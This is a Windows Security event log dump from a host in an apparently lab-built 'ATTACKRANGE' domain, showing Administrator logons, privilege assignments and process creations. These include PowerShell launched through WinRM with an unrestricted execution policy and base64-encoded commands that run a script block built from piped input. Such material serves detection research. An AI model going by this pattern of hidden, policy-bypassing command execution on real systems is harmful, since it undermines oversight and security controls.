SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Logon
OpCode=Info
RecordNumber=246040
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x72E68
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Process Information:
	Process ID:		0x5c8
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	WIN-DC-725
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:40:10 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Logon
OpCode=Info
RecordNumber=246039
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x5c8
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:40:10 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4776
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Credential Validation
OpCode=Info
RecordNumber=246038
Keywords=Audit Success
Message=The computer attempted to validate the credentials for an account.

Authentication Package:	MICROSOFT_AUTHENTICATION_PACKAGE_V1_0
Logon Account:	Administrator
Source Workstation:	WIN-DC-725
Error Code:	0x0
03/11/2021 11:40:10 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Logoff
OpCode=Info
RecordNumber=246037
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x6D858

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:40:10 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Logoff
OpCode=Info
RecordNumber=246036
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x6D16A

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:40:10 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Logoff
OpCode=Info
RecordNumber=246035
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x6BE79

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:40:10 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246034
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x6B916

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xff0
	New Process Name:	C:\Windows\System32\conhost.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xa3c
	Creator Process Name:	C:\Windows\System32\shutdown.exe
	Process Command Line:	\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:40:10 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246033
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x6B916

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xa3c
	New Process Name:	C:\Windows\System32\shutdown.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xd84
	Creator Process Name:	C:\ProgramData\chocolatey\choco.exe
	Process Command Line:	"C:\Windows\System32\shutdown.exe" /a

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:40:11 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246072
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x72EE6

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xfc8
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xf4c
	Creator Process Name:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
	Process Command Line:	"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\ADMINI~1\AppData\Local\Temp\qs5z4hew.cmdline"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:40:11 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Special Logon
OpCode=Info
RecordNumber=246071
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x747B9

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:40:11 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Logon
OpCode=Info
RecordNumber=246070
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x747B9
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Process Information:
	Process ID:		0x5c8
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	WIN-DC-725
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:40:11 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Logon
OpCode=Info
RecordNumber=246069
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x5c8
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:40:11 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4776
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Credential Validation
OpCode=Info
RecordNumber=246068
Keywords=Audit Success
Message=The computer attempted to validate the credentials for an account.

Authentication Package:	MICROSOFT_AUTHENTICATION_PACKAGE_V1_0
Logon Account:	Administrator
Source Workstation:	WIN-DC-725
Error Code:	0x0
03/11/2021 11:40:11 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246067
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x72EE6

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xe30
	New Process Name:	C:\Windows\System32\chcp.com
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xf4c
	Creator Process Name:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
	Process Command Line:	"C:\Windows\system32\chcp.com" 65001

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:40:11 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246066
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x72EE6

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xf4c
	New Process Name:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xd04
	Creator Process Name:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
	Process Command Line:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand JgBjAGgAYwBwAC4AYwBvAG0AIAA2ADUAMAAwADEAIAA+ACAAJABuAHUAbABsAAoAJABlAHgAZQBjAF8AdwByAGEAcABwAGUAcgBfAHMAdAByACAAPQAgACQAaQBuAHAAdQB0ACAAfAAgAE8AdQB0AC0AUwB0AHIAaQBuAGcACgAkAHMAcABsAGkAdABfAHAAYQByAHQAcwAgAD0AIAAkAGUAeABlAGMAXwB3AHIAYQBwAHAAZQByAF8AcwB0AHIALgBTAHAAbABpAHQAKABAACgAIgBgADAAYAAwAGAAMABgADAAIgApACwAIAAyACwAIABbAFMAdAByAGkAbgBnAFMAcABsAGkAdABPAHAAdABpAG8AbgBzAF0AOgA6AFIAZQBtAG8AdgBlAEUAbQBwAHQAeQBFAG4AdAByAGkAZQBzACkACgBJAGYAIAAoAC0AbgBvAHQAIAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwAuAEwAZQBuAGcAdABoACAALQBlAHEAIAAyACkAIAB7ACAAdABoAHIAbwB3ACAAIgBpAG4AdgBhAGwAaQBkACAAcABhAHkAbABvAGEAZAAiACAAfQAKAFMAZQB0AC0AVgBhAHIAaQBhAGIAbABlACAALQBOAGEAbQBlACAAagBzAG8AbgBfAHIAYQB3ACAALQBWAGEAbAB1AGUAIAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwBbADEAXQAKACQAZQB4AGUAYwBfAHcAcgBhAHAAcABlAHIAIAA9ACAAWwBTAGMAcgBpAHAAdABCAGwAbwBjAGsAXQA6ADoAQwByAGUAYQB0AGUAKAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwBbADAAXQApAAoAJgAkAGUAeABlAGMAXwB3AHIAYQBwAHAAZQByAA==

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:40:11 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Special Logon
OpCode=Info
RecordNumber=246065
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x73696

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:40:11 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Logon
OpCode=Info
RecordNumber=246064
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x73696
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Process Information:
	Process ID:		0x5c8
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	WIN-DC-725
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:40:11 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Logon
OpCode=Info
RecordNumber=246063
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x5c8
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:40:11 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4776
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Credential Validation
OpCode=Info
RecordNumber=246062
Keywords=Audit Success
Message=The computer attempted to validate the credentials for an account.

Authentication Package:	MICROSOFT_AUTHENTICATION_PACKAGE_V1_0
Logon Account:	Administrator
Source Workstation:	WIN-DC-725
Error Code:	0x0
03/11/2021 11:40:11 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246061
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x72EE6

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xd04
	New Process Name:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xe74
	Creator Process Name:	C:\Windows\System32\cmd.exe
	Process Command Line:	PowerShell  -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand UABvAHcAZQByAFMAaABlAGwAbAAgAC0ATgBvAFAAcgBvAGYAaQBsAGUAIAAtAE4AbwBuAEkAbgB0AGUAcgBhAGMAdABpAHYAZQAgAC0ARQB4AGUAYwB1AHQAaQBvAG4AUABvAGwAaQBjAHkAIABVAG4AcgBlAHMAdAByAGkAYwB0AGUAZAAgAC0ARQBuAGMAbwBkAGUAZABDAG8AbQBtAGEAbgBkACAASgBnAEIAagBBAEcAZwBBAFkAdwBCAHcAQQBDADQAQQBZAHcAQgB2AEEARwAwAEEASQBBAEEAMgBBAEQAVQBBAE0AQQBBAHcAQQBEAEUAQQBJAEEAQQArAEEAQwBBAEEASgBBAEIAdQBBAEgAVQBBAGIAQQBCAHMAQQBBAG8AQQBKAEEAQgBsAEEASABnAEEAWgBRAEIAagBBAEYAOABBAGQAdwBCAHkAQQBHAEUAQQBjAEEAQgB3AEEARwBVAEEAYwBnAEIAZgBBAEgATQBBAGQAQQBCAHkAQQBDAEEAQQBQAFEAQQBnAEEAQwBRAEEAYQBRAEIAdQBBAEgAQQBBAGQAUQBCADAAQQBDAEEAQQBmAEEAQQBnAEEARQA4AEEAZABRAEIAMABBAEMAMABBAFUAdwBCADAAQQBIAEkAQQBhAFEAQgB1AEEARwBjAEEAQwBnAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAGcAQQBEADAAQQBJAEEAQQBrAEEARwBVAEEAZQBBAEIAbABBAEcATQBBAFgAdwBCADMAQQBIAEkAQQBZAFEAQgB3AEEASABBAEEAWgBRAEIAeQBBAEYAOABBAGMAdwBCADAAQQBIAEkAQQBMAGcAQgBUAEEASABBAEEAYgBBAEIAcABBAEgAUQBBAEsAQQBCAEEAQQBDAGcAQQBJAGcAQgBnAEEARABBAEEAWQBBAEEAdwBBAEcAQQBBAE0AQQBCAGcAQQBEAEEAQQBJAGcAQQBwAEEAQwB3AEEASQBBAEEAeQBBAEMAdwBBAEkAQQBCAGIAQQBGAE0AQQBkAEEAQgB5AEEARwBrAEEAYgBnAEIAbgBBAEYATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBQAEEASABBAEEAZABBAEIAcABBAEcAOABBAGIAZwBCAHoAQQBGADAAQQBPAGcAQQA2AEEARgBJAEEAWgBRAEIAdABBAEcAOABBAGQAZwBCAGwAQQBFAFUAQQBiAFEAQgB3AEEASABRAEEAZQBRAEIARgBBAEcANABBAGQAQQBCAHkAQQBHAGsAQQBaAFEAQgB6AEEAQwBrAEEAQwBnAEIASgBBAEcAWQBBAEkAQQBBAG8AQQBDADAAQQBiAGcAQgB2AEEASABRAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAHUAQQBFAHcAQQBaAFEAQgB1AEEARwBjAEEAZABBAEIAbwBBAEMAQQBBAEwAUQBCAGwAQQBIAEUAQQBJAEEAQQB5AEEAQwBrAEEASQBBAEIANwBBAEMAQQBBAGQAQQBCAG8AQQBIAEkAQQBiAHcAQgAzAEEAQwBBAEEASQBnAEIAcABBAEcANABBAGQAZwBCAGgAQQBHAHcAQQBhAFEAQgBrAEEAQwBBAEEAYwBBAEIAaABBAEgAawBBAGIAQQBCAHYAQQBHAEUAQQBaAEEAQQBpAEEAQwBBAEEAZgBRAEEASwBBAEYATQBBAFoAUQBCADAAQQBDADAAQQBWAGcAQgBoAEEASABJAEEAYQBRAEIAaABBAEcASQBBAGIAQQBCAGwAQQBDAEEAQQBMAFEAQgBPAEEARwBFAEEAYgBRAEIAbABBAEMAQQBBAGEAZwBCAHoAQQBHADgAQQBiAGcAQgBmAEEASABJAEEAWQBRAEIAMwBBAEMAQQBBAEwAUQBCAFcAQQBHAEUAQQBiAEEAQgAxAEEARwBVAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEUAQQBYAFEAQQBLAEEAQwBRAEEAWgBRAEIANABBAEcAVQBBAFkAdwBCAGYAQQBIAGMAQQBjAGcAQgBoAEEASABBAEEAYwBBAEIAbABBAEgASQBBAEkAQQBBADkAQQBDAEEAQQBXAHcAQgBUAEEARwBNAEEAYwBnAEIAcABBAEgAQQBBAGQAQQBCAEMAQQBHAHcAQQBiAHcAQgBqAEEARwBzAEEAWABRAEEANgBBAEQAbwBBAFEAdwBCAHkAQQBHAFUAQQBZAFEAQgAwAEEARwBVAEEASwBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEEAQQBYAFEAQQBwAEEAQQBvAEEASgBnAEEAawBBAEcAVQBBAGUAQQBCAGwAQQBHAE0AQQBYAHcAQgAzAEEASABJAEEAWQBRAEIAdwBBAEgAQQBBAFoAUQBCAHkAQQBBAD0APQA=

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:40:11 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246060
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x72EE6

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xe74
	New Process Name:	C:\Windows\System32\cmd.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xd08
	Creator Process Name:	C:\Windows\System32\winrshost.exe
